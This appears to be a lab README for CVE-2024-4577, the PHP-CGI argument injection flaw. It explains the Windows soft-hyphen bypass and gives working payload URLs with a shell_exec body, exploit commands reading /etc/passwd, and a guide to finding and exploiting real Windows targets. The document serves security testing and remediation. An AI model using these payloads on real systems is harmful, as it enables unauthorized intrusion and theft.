CVE-2024-4577 — PHP CGI Argument Injection RCE
Overview
| Field | Value |
|---|---|
| CVE | CVE-2024-4577 |
| Software | PHP (CGI mode) |
| Version Tested | 5.4.1 (lab); targets 8.1 < 8.1.29 / 8.2 < 8.2.20 / 8.3 < 8.3.8 (Windows) |
| Vulnerable Range | PHP < 8.3.8, < 8.2.20, < 8.1.29 on Windows |
| Type | RCE (Argument Injection) |
| CVSS v3.1 | 9.8 (Critical) — NVD initial score; updated to 6.9 (Medium) |
| Authentication | Not required |
| Vector | Network |
| CISA KEV | Yes (due date 2024-07-03) |
CVE-2024-4577 is a critical PHP CGI argument injection vulnerability discovered by Orange Tsai (DEVCORE) in June 2024. When PHP is deployed in CGI mode on Windows with a Japanese or Chinese locale, the operating system's Best-Fit character encoding converts the soft-hyphen character (U+00AD, %AD in URLs) to a regular hyphen (-). Because PHP's CVE-2012-1823 protection only checks for the literal ASCII hyphen before the conversion occurs, an attacker can inject arbitrary PHP CLI options (such as allow_url_include and auto_prepend_file) into the php-cgi process, executing arbitrary PHP code from the HTTP request body.
This Docker lab uses PHP 5.4.1 — which predates the CVE-2012-1823 protection — to reproduce the identical attack mechanism on Linux. The exploit payload is the same; only the Windows-specific soft-hyphen bypass step is omitted.
Quick Start
bash verify.sh
This builds the image, waits for the service, installs dependencies, runs the exploit, and prints the output.
Environment
| Property | Value |
|---|---|
| Base Image | vulhub/php:5.4.1-cgi |
| Web Server | Apache 2.4.10 (Debian) |
| PHP Version | 5.4.1 (CGI/FPM mode) |
| Port | 8080 → HTTP/80 |
| Credentials | None required |
| Setup time | ~5 seconds after docker compose up |
docker compose up -d --build # build and start
docker compose ps # check status
docker compose logs -f # watch logs
docker compose down # teardown
Exploit
- File:
exploit/exploit.py - Source: Adapted from watchtowrlabs/CVE-2024-4577
- Language: Python 3
How It Works
PHP's CGI mode has a decades-old design quirk: when Apache invokes the php-cgi binary and the URL query string contains no unencoded = character, Apache passes the query-string words (split by +) as command-line arguments to the php-cgi binary, per RFC 3875 §4.4.
- Encode
=as%3d— Apache sees no raw=and forwards query words as argv[]. - Inject PHP options —
allow_url_include=1permits streaming input;auto_prepend_file=php://inputcauses PHP to execute the POST body as PHP code before running the requested script. - POST body = PHP code — any
<?php ... ?>payload is executed with the privileges of the web server.
CVE-2024-4577-specific bypass (Windows only):
PHP's CVE-2012-1823 patch checks if argv[1][0] == '-' (ASCII 0x2D) and refuses. On Windows with Japanese/Chinese locale, sending %AD (soft-hyphen, 0xAD) bypasses this check because 0xAD != 0x2D. Windows then applies Best-Fit mapping to convert 0xAD → 0x2D when creating the subprocess, so php-cgi receives -d allow_url_include=1 as intended.
Timeline of the argument chain:
URL query: ?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
│
▼ Apache (no raw '=' → pass as argv)
argv[]: ["\xadd", "allow_url_include=1", "\xadd", "auto_prepend_file=php://input"]
│
▼ Windows Best-Fit (0xAD → 0x2D)
argv[]: ["-d", "allow_url_include=1", "-d", "auto_prepend_file=php://input"]
│
▼ PHP-CGI reads POST body via php://input
POST body: <?php echo shell_exec('id'); ?>
│
▼ Command executes
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Manual Usage
# Start environment
docker compose up -d --build
# Install dependencies
pip3 install -r exploit/requirements.txt
# Lab mode (this Docker environment — PHP 5.4.1, no CVE-2012-1823 protection):
python3 exploit/exploit.py --target http://localhost:8080 --cmd "id"
# Windows mode (real CVE-2024-4577 target — PHP 8.1.x/8.2.x/8.3.x on Windows):
python3 exploit/exploit.py --target http://TARGET --windows --cmd "whoami /all"
# Custom path (if PHP-CGI is served at a different URL):
python3 exploit/exploit.py --target http://localhost:8080 --path /info.php --cmd "cat /etc/passwd"
Expected Output
[*] CVE-2024-4577 — PHP CGI Argument Injection
[*] Mode : Lab (pre-CVE-2012-1823 PHP 5.4.1)
[*] Target : http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id && cat /etc/passwd | head -5
[*] Payload : <?php echo shell_exec('id && cat /etc/passwd | head -5'); ?>
[*] HTTP 200 (XXX bytes)
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
============================================================
[+] SUCCESS — command output received. RCE confirmed.
Pentest Adaptation Guide
This section covers adapting this lab PoC for use in a real authorized penetration test against CVE-2024-4577 targets.
Target Discovery
Identify PHP-CGI exposure with banner grabbing and version detection:
# Banner grab — look for "X-Powered-By: PHP/..."
curl -I http://TARGET/
# Nmap service scan
nmap -sV -p 80,443,8080 TARGET
# Check common CGI paths
curl -I http://TARGET/php-cgi/php-cgi.exe
curl -I http://TARGET/cgi-bin/php-cgi.exe
curl -I http://TARGET/cgi-bin/php.cgi
# Source code disclosure check (CVE-2012-1823 era detection — works on unpatched PHP 5.x)
curl "http://TARGET/index.php?-s"
Vulnerable configuration indicators:
X-Powered-By: PHP/8.1.x(where x < 29)X-Powered-By: PHP/8.2.x(where x < 20)X-Powered-By: PHP/8.3.x(where x < 8)- Server running on Windows (look for
Server: Apache/... (Win32)or IIS headers) - XAMPP default page at
/xampp/or/dashboard/
Adapting the Exploit
For real CVE-2024-4577 targets (PHP 8.1/8.2/8.3 on Windows):
# Step 1: use --windows flag for the soft-hyphen bypass
python3 exploit/exploit.py \
--target http://TARGET \
--windows \
--path /index.php \ # or the actual PHP script path
--cmd "whoami /all"
# Step 2: for XAMPP, the CGI binary is often at /php-cgi/php-cgi.exe
# The exploit targets any served PHP script, not the binary itself.
# Change --path to match the target's document structure.
Key parameter changes:
| Parameter | Default (lab) | Real target example |
|---|---|---|
--target | http://localhost:8080 | http://victim-host.example.com |
--windows | (omit) | Add --windows flag |
--path | /index.php | / or any PHP file on server |
--cmd | id | whoami, net user, etc. |
Network considerations:
- The target must be reachable from your host; check firewalls on ports 80/443/8080.
- If behind a proxy, set
HTTP_PROXY/HTTPS_PROXYenvironment variables. - HTTPS targets: the
--verify=Falseflag in the script already handles self-signed certs.
Locale requirement for CVE-2024-4577: The Windows system locale must be Japanese (ja-JP), Simplified Chinese (zh-CN), or Traditional Chinese (zh-TW) for the Best-Fit mapping to occur. Servers using other locales may not be vulnerable to the encoding bypass.
Safe Verification (Non-Destructive)
Read a file rather than executing destructive commands:
# Read /etc/hostname (Linux) or %COMPUTERNAME% equivalent (Windows)
python3 exploit/exploit.py --target http://TARGET --cmd "cat /etc/hostname"
# Windows equivalent:
python3 exploit/exploit.py --target http://TARGET --windows --cmd "type C:\Windows\System32\drivers\etc\hostname"
# Read PHP configuration
python3 exploit/exploit.py --target http://TARGET --cmd "cat /etc/php.ini 2>/dev/null | head -20"
Do NOT run commands that modify system state (rm, shutdown, net user add, etc.) in production environments.
Metasploit check command (if using exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577):
msf> use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf> set RHOSTS TARGET
msf> set RPORT 80
msf> check
Evidence Collection
Capture the following for a pentest report:
- Version proof:
curl -I http://TARGET/— screenshot theX-Powered-Byheader. - RCE proof: Run
id(Linux) orwhoami(Windows) and capture terminal output. - File read: Read
/etc/passwd(Linux) orC:\Windows\win.ini(Windows). - Request/response: Use Burp Suite or
--verbosecurl to capture raw HTTP traffic. - Classification: OWASP A03:2021 (Injection); CVSS 9.8 (Critical); CWE-88 (Argument Injection).
Report finding template:
Title: CVE-2024-4577 — PHP CGI Argument Injection Remote Code Execution
Severity: Critical (CVSS 9.8)
Affected Host: http(s)://TARGET
Evidence: [attach screenshot of id/whoami output]
Impact: Unauthenticated remote code execution as web server user
Remediation: Upgrade PHP to 8.3.8 / 8.2.20 / 8.1.29 or later;
disable CGI mode; restrict access to php-cgi binary.